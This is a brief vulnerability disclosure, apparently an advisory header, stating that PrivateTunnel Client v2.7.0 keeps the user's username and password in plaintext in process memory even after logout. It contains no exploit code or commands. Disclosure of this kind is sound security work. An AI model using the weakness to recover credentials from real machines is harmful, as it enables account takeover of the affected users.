#####  
# PrivateTunnel Client v2.7.0 is vulnerable to local credentials disclosure after the user is logged out.  
# It seems that PrivateTunnel does store the supplied credentials while the user is logged in and after sign out in a plaintext format in memory process.  
# A potential attacker could reveal the supplied username and password in order to gain access to PrivateTunnel account.
